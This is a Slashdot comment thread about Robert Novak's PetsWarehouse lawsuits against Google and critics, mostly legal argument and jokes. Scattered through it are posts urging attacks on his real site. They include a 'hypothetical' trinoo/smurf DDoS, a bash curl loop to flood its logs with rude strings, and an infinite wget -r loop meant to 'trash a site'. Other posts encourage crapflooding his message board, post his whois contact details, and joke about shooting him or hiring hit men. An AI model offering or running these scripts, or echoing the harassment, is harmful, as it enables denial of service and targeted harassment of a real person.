      Now if you actualy read the post which I linked you would find it met all those requirements. I was curious about the situation. That does not imply that I was ever intending to go through with the situation. There is a reason that there are laws against crimes, stalking and the like, it's so that the excuse "If you don't like it, don't go there" isn't used. If you don't like getting hit by drunk drivers, don't go outside. If you don't like stalkers, dont' get a phone, don't get a computer, don't get a mail box. If you don't like the government, move. Now think about that and ask yourself why we have laws in place.

      And you want to talk about rights, let's talk about my rights. My right to free speech. Does this moron's right to the same take away my right or limit my right? If to get away from him I have to change my name, post in a way that I don't want to post, or not come to the message boards at all, isn't that restricting my right to speech? What about my right to be secure in my person as granted to me by the 4th amendment? Or does that only apply to government agencies, in which case I then assume that theft is legal. Or what about the 9th amendment, which talks about what I was saying before, your rights can not infringe upon my rights.

      Free speech is not absolute. The supreme court has held up laws banning the use of swears and "fighting words" in public. See Chaplinsky v. New Hampshire . They also say that Obscene Material does not qualify for free speech protection.

      US Supreme Court Definition of "Obscene Material"

      a) depicts sexual or excretory acts listed in state obscenity statute,

      b) depicts those acts in a "patently offensive" manner, appealing to the "prurient interest," as judged by a reasonable person applying the standards of the community, and

      c) lacks "serious" literary, artistic, social, political, or scientific value.


      Again, I never stated I had an interest in taking this to court. I was just interested in the possibilities it entails. As the internet grows larger, this is going to become a big issue. So far, the supreme court has stayed away from it, but soon we may not be so lucky.
      --
      T Money
      World Domination with a plastic spoon since 1984
    8. Re:slander (OT) by Anonymous Coward · · Score: 0

      Let me try and appeal to the MAC brain. This website is a listserver of sorts, a shitty one, but still a listserver.. oops did i just slander the server? Anyways. You keep the conversation running, you keep responding to the flames. If you bait, the fish will bite. Stop running around eithiopeia with a sandwich tied to your back! Ot's like bees to honey, yiogi to picnic baskets, garfield to lasagna, male to female..... GET IT? The easiest way not to get flamed is not to be covered in gas. There's no stalking here, people respond to your posts, you respond to them. After all you follow your own threads dont you? I thought so. They're not any other moneyT's running around. so who's to say you're not picking fights, and then stalking the trolls? Get real dude, just drop it. If you have something REAL to say, not just idiotic anecdotal stories of your compu-bafoonery, thenn post, otherwise, be quiet and read........

    9. Re:slander (OT) by Anonymous Coward · · Score: 0

      CAN I SUE SOMEONE WHO SAYS OR WRITES SOMETHING DEFAMATORY ABOUT ME?
      In order to prove defamation, you have to be able to prove that what was said or written about you was false. If the information is true, or if you consented to publication of the material, you will not have a case. However, you may bring an defamatory action if the comments are so reprehensible and false that they effect your reputation in the community or cast aspersions on you.

      WHAT ABOUT INSULTS AND EPITHETS? ARE THEY DEFAMATORY?
      Usually they are seen as outbursts of emotion, with no real substance, except to show intense dislike.

      I would probably venture to guess that your little problem with trolls are unsubstantiated outbursts of emotion. I would think a Jury would probably think that such baseless commentary that you complain about struck a chord with you. Acknowledging your enemy is sometimes a credit to him. I would also venture to guess that when posting to a public internet forum, the crossfire you get is something that one could argue you consent to. There is lots of precedent to show that the internet is supped to be fairly unregulated by design. Wear an intellectual rubber, man. Just an FYI, the lawyer scumball charlatan is typical, they always tell you can win any case and rip you off accordingly.

  272. Let's All Phone! by Anonymous Coward · · Score: 2, Funny

    Well, I phoned 1-800-991-3299 and asked about the "internet lawsuit". The saleslady claimed she did not have any information right now. Try back tomorrow (Friday).

    Gosh, maybe we all should phone tomorrow to check. Heck, phone back today just to make sure.

    1. Re:Let's All Phone! by DMDx86 · · Score: 1

      Do it from a payphone. Its more expensive for them.

  273. Missing the point again by Steve+Franklin · · Score: 3, Insightful

    Son,

    It ain't about legal. It's about ethical. Civilized human beings do not do things simply because they CAN under a flawed legal system. What keeps society functioning at all is that most people follow their own lights and do what they consider to be right, not what the idiot legal system tells them they are allowed to do. In short, your attitude is barbaric.

    [signed]

    Not anonymous and not a coward.

    --
    Hic iacet Arthurus, rex quondam rexque futurus.
  274. Umm - Looks like a scam for defense fund money by Anonymous Coward · · Score: 0

    I bet all these guys are in it together and its just a scam for money. If its a free speech issue, why arent they using the EFF?

    1. Re:Umm - Looks like a scam for defense fund money by Anonymous Coward · · Score: 0

      Because the EFF and other organizations have shown zero interest in helping the individuals named in the lawsuit. Believe me, there have been a number of efforts to get EFF involved.

      .

  275. i WOULD do that but... by orius_khan · · Score: 2

    In the same vein, I'm tempted to do something like this ...

    Unfortunately for you, your product is prominetely displayed on the homepage of PetsWarehouse.com. As such, I conclude that you are sympathetic to Mr. Novaks lawsuits ...

    I would do that, except that his web site hasn't come up in my browser for the last hour and a half, so I have no idea who to send the letters to! :)

    --
    Sometimes the best solution to morale problems is just to fire all the unhappy people.
  276. Don't forget the Canadian Supreme Court Decision by Anonymous Coward · · Score: 0

    that decided the right to criticise town council overrode town council's right to legislate the sign used to do so. The Supreme Court then went out of its way to affirm that individuals have a right to criticise on the internet.

  277. Here's a link guaranteed to make you laugh by SilentReproach · · Score: 1
    Petswarehouse.com is down or slashdotted, but their message board is hosted by a third party. See the comments here

    --
    Religion is the opium of the people. Evolution is the opium of scientists.
  278. Sharing experiences by deal · · Score: 1
    This from the petswarehouse forum:
    This site is for pet owners that are passionate about the animals they choose to share their lives with!
    The pet & aquaria community can share experiences, ask questions, and help each other out


    Seems to me that's only and exactly what Dan Resler was doing on petsforum that got RN in a tizzy to begin with: here.
  279. What *this* lawsuit is about by PaulTownsend · · Score: 1

    I actually took a few minutes to read the filing, and I don't think the intro above adequately reflects what this suit is about. The heading above says: Google has been sued, as well as several other sites that have carried news about the lawsuit... which gives the impression that they're being sued for carrying news about the lawsuit.

    That doesn't appear to be the case; the gist of the complaint is that when users enter "Pets Warehouse" as search criteria, his site isn't at the top of the list of results. In other words, he's bitching about his Google ranking and suing them because he's not first!

    I'd recomend reading the complaint - it's definitely good for a chuckle at the least: My favorite line is item #28 "Plaintiff demands that Google remove any material deemed objectionable by Plaintiff."

    BTW, IANAL, but neither is Bob Novack.

    1. Re:What *this* lawsuit is about by Matt_in_NH · · Score: 1

      Actually it is at least partially related to the prior lawsuits.
      In claims 24 through 28, Novak is referring to archives of the original posts that started the first lawsuit. He wants Google to delete stuff from their "groups" directory of rec.aquaria.freshwater.plants so no one else can tell that it ever happened.

  280. violent tendencies by RestiffBard · · Score: 2

    see this is the sort of occasion when someone needs a .22 round behind the ear. this is just greed and mean spiritedness and there is no cure for that other than the aformentioned .22 or a visit from the spirits of past, present and future.

    --
    - /* dead coders leave no comments */
    1. Re:violent tendencies by Frobnicator · · Score: 1
      Careful, he's cited in some of the articles as wanting to go after people who put up threats of violence, even if they are in jest. You may be next. ;)

      Frob.

      --
      //TODO: Think of witty sig statement
  281. Countersue! by Thalia · · Score: 2

    This is a typical case of frivolous lawsuits. There are, unsurprisingly, rules against this. If anyone actually fights it out in court, I expect that the Court would in fact grant attorneys fees to Google or the other defendants/counter-plaintiffs, as they have done in other cases. There is precedent for this which is binding in California.

    In fact, some courts would consider this a SLAPP case (Strategic Litigation Against Public Participation), trying to restrict the free speech rights of the critics of the web site. Anti-SLAPP suits are great because attorneys fees are automatically granted if you win.

    The problem is the up-front cost of litigation. Unfortunately, there is nothing that can be done until at least one case goes through the courts. BUT, in the past, some people have been prevented by judgement from suing anyone else, because they were "court abusers." Hopefully this will happen to Mr. Novak.

    Oh, and if Slashdot is sued, I'd be happy to help with the defense. I'm no litigator, but writing the reply brief to this would be entertainment, not work.

    Thalia

  282. Re:my experience with PET SWEARHOUSE dot com by Anonymous Coward · · Score: 0

    that gave me a laugh. thanks.

  283. Pet Warehouse is part of Dr. Foster & Smith no by Anonymous Coward · · Score: 0

    Pet Warehouse recently got absorbed into the large pet-supplies company Dr. Foster & Smith. It is now Dr. Foster & Smith's fish-supplies division rather than a standalone company. I think part of the decision to sell themselves to Dr. Foster & Smith was due to their name being tarnished by association with Pets Warehouse. Now that they're a division of Dr. Foster & Smith, there's less chance they'll get confused with PetSwarehouse.

    Dr. Foster & Smith also aquired LiveAquaria.com fairly recently. Both Pet Warehouse and LiveAquaria.com were great on their own, and they're still great as divisions of Dr. Foster & Smith, which has always been a reputable company.

  284. one way to eliminate these frivolous lawsuits by clarkc3 · · Score: 1
    would be if the United States caught up with the rest of the civilized world and made the person who brought the suit have to pay the defendant's legal fees if the defendant was found not guilty.


    Right now Novak is suing a lot of the people cause it cost him little or nothing even if he loses and is relying on people to settle out of court because its cheaper for them to do that

  285. There are better alternatives... by Anonymous Coward · · Score: 0

    ...for your pet needs.

  286. Petswarehouse looks like a prime dDOS target by Anonymous Coward · · Score: 0

    hypothetically speaking, if I were a script kiddie I would fire up my trinoo and smurf the f$ck out of this a-hole. If we all hypothetically started now, they'll think it's just a really bad slashdotting.

    is it smurf? I don't know the new fangled terms, as I'm not a script kiddie and I'm not advocating an attack against Petswarehouse or anyone else. I'm just saying that hypothetically now is a strategic time, adn they are a strategic target.

  287. Slapp suits need to be dealt with. by uncoveror · · Score: 2

    Slapp suits waste the courts'time and taxpayers money. They also have a terrible chilling effect on free speech. If anyone who brought a slapp suit and lost had to pay out the same amount he was seeking to those he sued, these clowns would stop filing them. Google may be big enough to countersue Novak for harassment.

    --
    The Uncoveror: It's the real news.
  288. Novak? Valid? Erm... no. by StupidKatz · · Score: 2, Insightful

    Did you read the court's PDF? Apparently, Novak wants Google, etc. to stop using "pets warehouse", "pets warehouses", "pet warehouse", "pet warehouses", "pet", "pets", "warehouse", "warehouses", "PetSwarehouse", "petSwarehouse", "pEts", "peTs", "petS",... ad infinium.

    He's seriously been smoking some bad crack.

    1. Re:Novak? Valid? Erm... no. by BrianH · · Score: 2

      Yes, I read it here, and I just saw standard legalese. He believes that the competing businesses are unfairly profiting by the use of his registered trademark. If he can prove in court that this is indeed the case, then he should have every right to prohibit these specific defendants from using his trademark, or popular variations of his trademark, in the future. His demands on Google are even more specific...he wants them to stop using his trademark for "Sponsored Link" advertisements placed by other companies. He claims that he already asked them to do this, but they refused. If this is indeed true, then Google (as much as I love the service) is indeed in the wrong and should be held liable.

      Don't get me wrong, I think the guy is just as much a creep as all of you. My problem is that there are now over 700 comments in this discussion, and NOBODY ELSE seems to have bothered to read the complaint and find out what this is really about. Everyone is making comments based on Novaks past, assuming that they know what this is about, and ranting about how big an as*h*le he is. He is a huge as*h*le, but everyones assumptions have forced this discussion to miss the REAL issues brought up by this suit.

      --

      There is nothing so pathetic as seeing a beautiful young theory roughed up by a tough gang of facts.
  289. Mod parent up by quintessent · · Score: 2

    Very important: Mod parent up.

  290. this comment is libelous and so are others like it by waspleg · · Score: 1

    IANALBIATSOO (i am not a lawyer but i am the son of one, yes i have been called a bastard ;) anyway)

    you know you can say whatever you want about a company as long as it is *TRUE* (and that includes opinions)

    but making shit up and making it look real (yea no one would pay shipping on a 50 lb bag of dog food but the court would look at what a REASONABLE person would do and it could be argued that a REASONABLE person would order it if it were some special brand or wahtever) IS libelous:

    From WordNet (r) 1.7 :

    libel
    n : a tort consisting of false and malicious publication printed for the purpose of defaming a living person

    in addition to this, my business law class says that all that is really required is that a negative comment generated because of a relationship between x and y be transmitted in any form to z which is certainly the case here

    just trying to give yall a heads up before you're "served" by opening an email from some lawyer ;)

  291. Here you go, friend. by Gendou · · Score: 2

    Main news/defense fund, full dockets

    Other defense fund page

    Defense Fund merchandise

    Discussion forum for the lawsuit

    Aquatic Plants digest

    Rec.Aquaria.Freshwater.Plants

    Between all those pages, you should be able to find plenty of links to archives of the messages in question, full court documents, links to news coverage of the story, etc. etc. etc. If you have any interest in aquatic plants or planted aquariums, check the link to the Aquatic Plants mailing list, where all this began. You'll find all the original posts, plus some early discussion of the lawsuit. Also, you can find plenty of stuff in the archive of rec.aquaria.freshwater.plants, including the rantings and ravings of Mr. Novak himself, as well as posts from a few people who support him and happen to have EXACTLY the same spelling and grammer that he does...

  292. Inquiry by dacarr · · Score: 2, Funny
    Is this guy a Scientologist? Because he is sure acting like one.

    --
    This sig no verb.
  293. Bar Exam != English proficiency by sp0re · · Score: 1

    Anyone read this guy's complaint? He has no idea what an apostrophe is for, and he repeatedly refers to "Kanoodle, Google and Overture" as a single entity, like a law firm or something:

    Kanoodle, Goodle and Overture actively assists competitors of PW...

    Kanoodle, Goodle and Overture does not explicitly or fairly advise users of its search engine...

    I wonder if it's possible for a lawsuit to be thrown out for featuring grammar and syntax so shoddy they render the complaint meaningless.

    --
    "Dada is the signboard of abstraction; advertising and business are also elements of poetry." -Tristan Tzara
  294. eBay by blitzd · · Score: 1

    Can you imagine the precedence this will create for disgruntled eBay'ers?

    "You left me bad feedback.. I'm suing! :~("

  295. Participate in this PetsWarehouse POLL, please! by Anonymous Coward · · Score: 1

    Let PetsWarehouse know, in their own forum, what you think of this lawsuit.

    POLL HERE

    Please mod this poor message up if you think it is deserving! Thanks!

    1. Re:Participate in this PetsWarehouse POLL, please! by Anonymous Coward · · Score: 0

      That is fantastic. Let their own customers express their opinions in an appropriate forum. Awesome!

  296. Important links. by Gendou · · Score: 5, Interesting

    Main news/defense fund, full dockets

    Other defense fund page

    Defense Fund merchandise

    Discussion forum for the lawsuit

    PetsWarehouseSucks.com (Novak bought up the .net and .org versions of this domain, by the way)

    Aquatic Plants digest

    Google search with many relevant results

    Rec.Aquaria.Freshwater.Plants

    Between all those pages, you should be able to find plenty of links to archives of the messages in question, full court documents, links to news coverage of the story, etc. etc. etc. If you have any interest in aquatic plants or planted aquariums, check the link to the Aquatic Plants mailing list, where all this began. You'll find all the original posts, plus some early discussion of the lawsuit. Also, you can find plenty of stuff in the archive of rec.aquaria.freshwater.plants, including the rantings and ravings of Mr. Novak himself, as well as posts from a few people who support him and happen to have EXACTLY the same spelling and grammer that he does...

    There's all kinds of fun things to discover about this case. For example, the NY Better Business Bureau gave PetsWarehouse its worst possible rating for its business practices. Mr. Novak claims that the BBB is *actually* talking about the retail store, not the website, and as a result, he's threatened to actually SUE the Better Business Bureau.

    Mr. Novak is on very shaky legal ground. He's been reprimanded by judges (since he's filed three seperate lawsuits and several ammendments, there are a lot of judges involved) for not having a clue what he's doing. He told a magazine that he considers suing people to be "his hobby", and a profitable one, because he lives right down the street from the courthouse and most people can't afford to travel to his venue to fight the lawsuits. When Slashdot first covered the lawsuit in April, someone posted a comment sayign that they new Mr. Novak, and he told the poster that he has a lawyer in the family who gives him advice on filing baseless lawsuits for extra income.

    Also, one of Mr. Novak's big claims in this lawsuit is "trademark infringement" (since we ALL know that saying "I don't like XYZ" is a violation of XYZ's trademark, right??), however, there's some question of whether he owns the trademark at all. He used Pets Warehouse as a "common law" trademark (IANAL, but I think that means he never actually filed the trademark, he just started using it and that entitles him to some legal protection), however, when he filed bankruptcy in the 90's, he didn't list any intellectual property that he wanted to keep on his bankruptcy application, thus it's entirely likely that he lost any trademark he might have had on the name during the bankruptcy.

    He also refuses to actually serve papers against any of the defendents who live in California, because California has a strong SLAPP law that would bite him in the ass he if tried to actually bring any California residents into the lawsuit.

    I'm not the only one who thinks all this is very, very crazy.

    1. Re:Important links. by Matt_in_NH · · Score: 1

      quote-> He also refuses to actually serve papers against any of the defendents who live in California, because California has a strong SLAPP law that would bite him in the ass he if tried to actually bring any California residents into the lawsuit. /quote

      But Google is based in CA. Did he serve them or not????

    2. Re:Important links. by Anonymous Coward · · Score: 0

      That's a good point. I don't think anybody involved with the first two lawsuits (other than Novak, of course) knows the serving status of the third lawsuit, since it's so new. It is known, however, from the Compuserve forum, that he hasn't served a single one of the defendents in California in either of the first two lawsuits, and he's served just about everybody else in the first two lawsuits.

      He's a very inconsistent bugger, so you never know...

  297. Poll by Anonymous Coward · · Score: 0

    This is priceless

    cat poll

  298. Manic dysphoria can be cured with lithium... by Anonymous Coward · · Score: 0

    ...and someone should tell poor Mr. Novak. He's a textbook, type I bipolar, and needs a good psychiatrist.

    1. Re:Manic dysphoria can be cured with lithium... by Anonymous Coward · · Score: 0

      Where did you get enough information about Mr. Novak to make this diagnosis? I see nothing to suggest that he is bipolar.

  299. Notice of Subpoena by Anonymous Coward · · Score: 0

    You've now been served with notice that Mr. Novak is suing you for calling him a complete idiot and for mental distress brought about by your comments of being teased in high school, which he had thought he'd put behind him.

  300. slashdot the buffoon! by linuxislandsucks · · Score: 1

    hmm did he get the slashdot effect yet?

    his site seems to be busy and not responding...hehehe ultimate irony

    --
    Don't Tread on OpenSource
  301. Hmmm.. by xmutex · · Score: 1

    Well, like Ari Fleischer said, the cost one bullet is significantly less than the cost of a war.

    --

    jack's bicycle is music to my ears
  302. These defendents are going about it all wrong by Anonymous Coward · · Score: 0

    In New York, hit men are cheaper than lawyers.

  303. His message board is moderated. by Anonymous Coward · · Score: 0

    I see somebody found a way around it, but usually messages have to be approved by a moderator until Bob decides to put the user on a list of people who don't think will cause trouble. If you post something critical, the moderator doesn't approve it and your account gets deleted.

    I think I'm going to individually e-mail EVERY person who has ever posted to his message board, and tell them ALL what he's been up to.

  304. Re:this comment is libelous and so are others like by Anonymous Coward · · Score: 0

    Nah, it is a parody and hence, protected by the first amendment. Only if you try to pass it as fact is it libel. One case is humor, the other is defaming (which is part of the definition of libel).

    Oh, and IANAL.

  305. Re:slander (OT) omfg by Anonymous Coward · · Score: 0

    what a pussy. what a crying pussy. you would sue a slashdot posted for libel
    HAHAHAHHAHAHAHHAHAHAHAHHAHA.
    what a lamer.

  306. isnt this inevitable? (google's future liability) by Anonymous Coward · · Score: 0


    is this not just the logical conclusion of the argument against peer 2 peer networks?

    "napster is evil because they point to content that is objectionable to copyright holders". what's the difference between napster (who a court PROVED could be legally shut down) and typing in "Microsoft Office, warez" into google?

    doesnt images.google.com serve as a repository for thousands of copyright protected images?

    this might be apples and oranges to you folks... but I dont find the underlying logic between this person's claim that google is liable to be so different from what hilary rosen espouses.

    thoughts?

  307. McDonalds got it for being lying weasels. by dmaxwell · · Score: 2

    Like the guy said, McDonalds didn't get nailed for ONLY burning this lady. McDonalds had a history of burned people and elected not to address the issue after doing a cost/benefit analysis. They wanted to use cheaper coffee and making the water hotter than usual helped them get away with it. One woman burning herself is a fluke. Several hundred people burning themselves means you have a problem. If it were say, an inexpensive kitchen appliance and lots of people got hurt during normal use then there will probably be a recall. Companies that knowingly avoid a recall on a product they know has issues get in trouble. The McDonalds coffee isn't any different. You see, where is the dumb old lady suing Wendy's or Denny's? Their coffee had a problem their competitions' didn't. They KNOWINGLY stonewalled on it. That is what got them put through the wringer. Intent and knowledge intensify the seriousness of a legal charge. It it really was just one simple accident then McDonald's wouldn't have been hit nearly as hard.

    It's just like what happened to the tobacco industry. The first lawsuits were by people with health problems like cancer and emphysema. Juries were unsympathetic because everyone who hasn't been living under a rock for the last 50 years knows that smoking is bad for you. Later lawsuits concentrated on what the tobacco companies knew when and what they were saying publicly at the time. The tobacco companies had internal studies going back to the sixties that laid out the health risks. They also shied away from developing safer cigarettes because they did not want to admit to selling something unsafe. To cap it off, the top execs of the tobacco companies testified to Congress that they did not believe smoking causes cancer.

    Basically, they didn't get busted for selling cancerous cigarettes. If they were up front about that from the start they would have been alright legally. It would have been hell on their corporate image and sales but it would have been much harder to sue them. They got nailed for misrepresenting their product. Check out cigarette ads from twenty or thirty years ago. Vibrant successful healthy people with active outdoor lifestyles all smoke! Just like the Marlboro Man! (who himself died of lung cancer..oops)

    The fat guy suing the fast food companies won't get anywhere at all unless one of the companies made the mistake of representing the fatty cholesterol laden parts of their menu as healthy.

    1. Re:McDonalds got it for being lying weasels. by JaredOfEuropa · · Score: 2

      Read my original argument. I was not defending McDonalds, not will I defend the tobacco industry. Make them pay if they have it coming, however I maintain that any money they have to cough up should be in the form of fines, that go to the state, or perhaps cancer research or whatever. Reimburse any victims only for actual damages suffered, to the extend that the companies in question were responsible for the damage.

      My point was that using punitive levies to line the pockets of the victims does nothing but encourage suing for anything and everything.

      --
      If construction was anything like programming, an incorrectly fitted lock would bring down the entire building...
    2. Re:McDonalds got it for being lying weasels. by Serveert · · Score: 1

      You miss his point. In Europe the lady would have received just enough to cover her medical bills($20,000). Then the company would be fined for a good sum as a form of punishment.

      This discourages petty lawsuits. The potential 'reward' for a petty lawsuit in the USA hovers in the millions of dollars. In Europe, your reward would be far less, hence less incentive to file a petty lawsuit. You can, of course, always file suit to cover medical bills. What did this lady do to deserver $1million? Nothing, if anything it should have gone to the state.

      --
      2 years and no mod points. Join reddit. Because openness is good.
  308. publicized by Anonymous Coward · · Score: 0

    Let me get this straight: There are some negitive comments on mailing lists and boards. Why bring attention to your company's bad reputation? Is he trying to bring down his company with him? Maybe it's just the /. effect, but the website seems to be down right now

  309. Re:slander (OT) ever heard of fair use. by Anonymous Coward · · Score: 0

    You give your name in public, I can see that by your link to your home page. You post in a public forum. You make publically available all information about yourself used to "slander/libel" you. Then you would deny the publics right to fair use? Have you ever heard of that? If you don't make money off it, or gain in some way, and even if you use copyrighted material in satire, its protected by fair use. You are on shaky grounds.

    If information about you was obtained illegally or this "slanderer" was using information not in jest, but to keep you out of public office or selling your likeness or copyrighted works for money, you might have a case, but as it stands now, you sound rather foolish - I think most lawyers would probably laugh at you [maybe politely snicker and giggle) if you brought this crap in.

  310. ack! by Polo · · Score: 3, Funny

    Just reading about this is causing me much Mental Anguish. Can I sue?

  311. MOD PARENT FUCKWIT by Anonymous Coward · · Score: 0

    Yeah.

  312. curling by Anonymous Coward · · Score: 0

    How about something like the following. Now, I do need to say that nobody should actually do anything like this as filling up the web log might well be considered some kind of icky nastiness.

    #!/bin/bash
    url="sitename goes here"
    referrer="something rude here "
    ua="something ruder here"
    url1="something even ruder here "
    while true
    do
    # args to curl may be permuted
    curl -e $referrer -A $ua $url/$url1 >/dev/null
    # sleep for at least a minute so its not DOS
    sleep $(( RANDOM / 1024 + 60 ))
    done

  313. And more!! by Gendou · · Score: 3, Informative

    His message board. Last I checked, the board was moderated and all messages had to be pre-approved by a moderator, but it looks like one fellow has found his way around that. Congrats, Mr. Lignatron.

    Don't forget to check out his message board's terms of use. Oddly enough, you're not allowed to mention the fact that the owner of the company sues his customers (and everyone else, for that matter). Any mention of the lawsuit that makes it onto his board is deleted very quickly. That doesn't mean you shouldn't try, though. Even if the message gets stuck in an approval queue and never get posted by a moderator, as seems to be the general case, one of his moderators will still have to take the time to delete it. And I get the feeling that his moderators might not even know about the lawsuit, or else they won't associate with him.

    One piece of advice to those attacking his message board: if the goal is to warn his customers about what his company is up to, linking to Petsforum, TheDefenseFund, or this Slashdot story would be MUCH more effective than linking to goatse.cx. Our goal is to bring his behavior into public light, not to gross people out. That's what we have Slashdot for. I know old habits die hard, but this is a chance for us to put our trolling/crapflooding skills to good use, and work for a higher goal.

    It's funny how after the lawsuit business started, Bob Novak changed the name of his message board to "The Civilized Pet Forum." Yeah, right.

    Then there are the requistite requisite mailto links. What good would this post be without the requisite mailto links? Keep these requisite mailto links in mind for future use. These requisite mailto links make the world go round!

    Archived mirror of PetsWarehouse page.

    Archived company info.

    Archived map to store

    Domain registration info

    GNU Wget - a website downloading tool. Useful for accessing sites that are Slashdotted, by hitting the site over, and over, and over, and over, and over...

    Netcraft Info for Petswarehouse

  314. Malicious Prosecution by man_ls · · Score: 4, Insightful

    An individual who was responsible for the creation of the Comcast consumer advocacy catagory on Yahoo! was successful in finally getting Comcast to drop their cable fraud lawsuit when he threatened to countersue for malicious prosecution.

    This individual *clearly* is in it for the money, and nothing else. Aside from a possible slander charge against the original poster, if what was said was in fact false; Google, nor any other news site, has any business being named in the law suit.

    Something to the effect of "common carrier" status should apply to these sites. Unless they posted their own commentary that was specifically derrogatory to the owner of that web site, they have no grounds for the law suit; and even if commentary was posted, by the time the lawsuit is reaching national coverage for it's stupidity, you've lost any right to complain about it.

    Google, being the group with the greatest amount of cash, should counter-sue the individual in question for being an asshat and attempting to exploit the system. If I recall correctly (IANAL), exploting the courts for personal gain is CONTEMPT and you go to jail for that, instantly.

    My $0.02.

    1. Re:Malicious Prosecution by MarvinIsANerd · · Score: 1

      Did anyone actually read the court documents that this guy filed against google and other search engines? It has nothing to do with slander. It has everything to do with him complaining that when people enter "pets warehouse" the ranking system puts links to competitor's stores before his. This guy claimed he contacted google to remove his trademarked stuff (the name petswarehouse and so on). I say lets listen to that guy. Everybody (especially search engines) remove all links to petswarehouse.com. Make that site disappear off the face of the earth. See how much business he gets after that.

    2. Re:Malicious Prosecution by man_ls · · Score: 2

      (I read the documents after my original post while I was at work)

      So he's sueing over their automated ranking system?

      Google's ranking system ranks according to the number of sites that link to it. If a large number of sites have the words petswarehouse.com and have links to another site, of course the other site will get ranked higher.

      I like the idea of removing his site totally. Nobody will know he ever existed...Exactly what he seems to want.

    3. Re:Malicious Prosecution by cryptor3 · · Score: 1

      Actually, no. If you read the actual complaint he filed, you will see that he's suing over the advertising stuff.

  315. Google listing... by verbatim · · Score: 2

    I'd like to see this retard get de-listed from google completly. I'm sure the Google technolgists could find a way to simply drop petswarehouse.com from all search results.

    That would show him.

    --
    Price, Quality, Time. Pick none. What, you thought you had a choice?
    1. Re:Google listing... by Anonymous Coward · · Score: 0

      want a good laugh? Go to google and type
      "pets warehouse" and "petswarehouse" -- the list of links that appear is Novak's worst nightmare. Almost makes me suspect that someone at google has been busy .... ;-)

  316. Petting by Anonymous Coward · · Score: 0

    whois petswarehouse.com@whois.bulkregister.com
    Pets Warehouse
    1550 Sunrise Highway
    Copiague, NY 11726
    US

    Domain Name: PETSWAREHOUSE.COM

    Administrative Contact
    Robert Novak-> bob@petswarehouse.com
    Pets Warehouse
    1550 Sunrise Hwy
    Copiague, ny 11726
    US
    Phone 631-789-5400
    Fax 631.789.9340
    Technical Contact
    Robert Novak-> bob@petswarehouse.com
    Pets Warehouse
    1550 Sunrise Hwy
    Copiague, ny 11726
    US
    Phone 631-789-5400
    Fax 631.789.9340

    Record updated on-> 2002-05-10 15:37:20
    Record created on-> 1997-11-14
    Record expiring date-> 2002-11-13
    Database last updated on-> 2002-10-03 17:17:29 EST
    Domain servers in listed order:

    PDNS.PETSWAREHOUSE.COM 64.80.82.126
    PRI.PETSWAREHOUSE.COM 64.80.82.126

  317. As a former employee... by Anonymous Coward · · Score: 1, Informative

    All I can say is that I am not suprised at all to hear about this, he hasn't changed a bit. Funny how having a website makes a company look so much larger than it really is. I'll remain an anonymous coward since I don't need to be sued ;)

    1. Re:As a former employee... by Anonymous Coward · · Score: 0

      wow! you know him? tell us more!

  318. Google link by myov · · Score: 2

    http://www.google.com/search?q=petswarehouse
    I don't see the ads he claims Google is selling.

    --
    I use Macs to up my productivity, so up yours Microsoft!
  319. /. covered this - in April! by myov · · Score: 2
    --
    I use Macs to up my productivity, so up yours Microsoft!
  320. MODERATE THIS UP. by Anonymous Coward · · Score: 0

    Very true.

  321. Should petwarehouse.com sue petswarehouse.com? by darkonc · · Score: 2
    Drs. Foster & Smith seem to have bought out the domain name: petwarehousee.com. Perhaps they should sue novak for sullying their name by association.

    (On the bright side, petswarehouse is currently slashdotted).

    --
    Sometimes boldness is in fashion. Sometimes only the brave will be bold.
  322. Bob Novak does NOT own any trademarks! by Anonymous Coward · · Score: 0

    Check the latest news on the Compuserve forum linked from the defense fund site. There's some SERIOUS doubt whether Novak owns any trademarks AT ALL.

  323. Slashdot next? by Anonymous Coward · · Score: 0

    Seeing that this news item has made it to Slashdot, will Slashdot be named in round 4?

  324. Will he sue wget authors ? by Anonymous Coward · · Score: 0

    I just had a nightmare :

    #!/bin/sh
    while true; do
    wget -r --random-wait http://www.petswarehouse.com/
    done

    Plain, normal /. effect is frightful enough. I'm glad none of you folks do such things as above. If used consistently by enough people, it could trash a site for weeks, or more. Frightening thought.

  325. Wait, people SETTLED? by vmalloc_ · · Score: 1

    For christs sake, why did people SETTLE WITH HIM? They're just making him go on by justifying his stupid illegal tyrade...

    1. Re:Wait, people SETTLED? by Matt_in_NH · · Score: 1

      Simple - Because they couldn't afford the time and money to mount a protracted legal defense.

      No matter how baseless the suit, it takes money to fight it.

  326. It wasn't changed. :p by Gendou · · Score: 3, Informative

    I wrote it, so I think I'd remember...

  327. MODERATE UP!!! by Anonymous Coward · · Score: 0

    See subject.

  328. Sorry. by Gendou · · Score: 2

    When I submitted the story this morning, the complaint itself wasn't available yet. It hadn't been posted to the Petsforum site, and, in fact, I don't think anybody had even seen it yet, just the docket items saying who Novak had filed suit against.

    I checked the Compuserve forum, the newsgroups, the Aquatic Plant mailing list, and both defense fund websites, and they all seemed to indicate that this was an extension of the first two lawsuits. The full complaint was posted on the Petsforum lawsuit news site shorly after Slashdot posted the story (which was about five hours after they actually accepted it). At the time I wrote it, I don't think anybody involved knew what was in the complaint, and it was widely assumed that it was a continuation of the previous lawsuits.

    Now that I've seen it, it does seem to be only a partially related issue, but it demonstrates pretty clearly that Novak is continuing on with his old tricks. This is just more of the same. Having read Mr. Novak's other claims and actually checking the facts in them, I know that they tend to be filled with untruths, exagerations, and wordplay, so this one probably is too. This lawsuit on its own is topical for Slashdot even if it doesn't directly relate to the original two lawsuits, and the original two lawsuits need more media attention anyway. Look at the flak that Novak and his company are getting because of this. It's beautiful.

  329. Re:slander (OT) ever heard of fair use. by MoneyT · · Score: 2

    You try to convice me that this is fair use. Not to mention that this person is also considered a stalker because he continuously makes unwanted harrassing and sometimes threatening comments on a daily basis.

    --
    T Money
    World Domination with a plastic spoon since 1984
  330. Re:slander (OT) ever heard of fair use. by Anonymous Coward · · Score: 0

    What right do you have to use Slashdot? Rob Malda makes it clear what the rules are here. He could stop allowing anonymous access and delete crap like on K5. So go to K5 lamer, if you can't take it uncut and raw. Plus all the troll to you are -1 or 0, read at threshold +1. You can post anonymously, and crap gets moderated down, nothing was said about calling John Ashcroft about every offensive AC comment. This has nothing to do with the law because it's a private system. By the way, half your links are broken. And if you don't want them, don't read them. Its not in the mail its not in person, and into not on the phone. Kind of hard to prove harassment. You are so pathetic, dude.

  331. MoneyT vs. Anonymous; next; BSD vs. BSD is dying by Anonymous Coward · · Score: 0
    Welcome to the WIPO courtroom.

    Today's cases
